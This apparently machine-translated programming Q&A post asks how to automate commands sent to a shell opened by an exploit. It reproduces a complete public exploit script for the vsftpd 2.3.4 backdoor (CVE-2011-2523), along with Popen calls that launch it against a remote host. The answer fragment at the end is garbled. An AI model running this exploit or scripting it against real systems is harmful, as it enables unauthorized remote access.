我想“自动化”一个脚本给出的反向shell。让我解释一下:
Contexte:易受攻击的计算机上存在后门
我在做什么:我创建了一个subprocess
,它执行一个脚本(python、perl等等),并给我一个反向shell
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()
我想做什么:在运行脚本的同时<=&燃气轮机;运行我的反向shell,我希望能够使用方法与之交互
今天,我能够在我的反向shell的终端中手动编写:我用Popen
调用的脚本运行并使用后门。这给了我一个反向shell,我可以键入我的命令
明天,我希望能够在这个反向shell的执行过程中调用方法:我使用Popen
运行一个脚本,它利用后门并给我一个shell。我不希望手动输入命令,而是希望自动地将一系列命令发送到这个反向shell,并且对于每一个命令,我都能够恢复返回的数据
理想情况下,我想要这样的东西:
backdoor.execute() //This method allow me to get a reverse shell
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell
我试图做的事情没有成功:我尝试使用subprocess
模块的Popen
类重定向脚本的输入和/或输出
Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
然而,当尝试重定向这两个流(或者只是其中一个流)时,我的反向shell关闭的速度与打开的速度一样快
我还尝试将命令直接放在communicate()
方法上:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
我尝试了这个方法,有输入和/或输出重定向,也没有重定向,但没有任何效果
最后,我尝试使用pexpect
模块运行我的脚本以获得一个反向shell,但我没有任何结论(可能是我做错了)
PS:我无法更改允许我使用后门的脚本代码
后门.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
如果附加了
\n
并且使用了-u
(unbuffered)选项,那么这应该适用于单个命令。当然,为了获得命令输出,必须对返回值进行处理:只要
我们可以使用e发送命令(如果您不想在之后退出)。g
并得到不确定长度的结果
相关问题 更多 >
编程相关推荐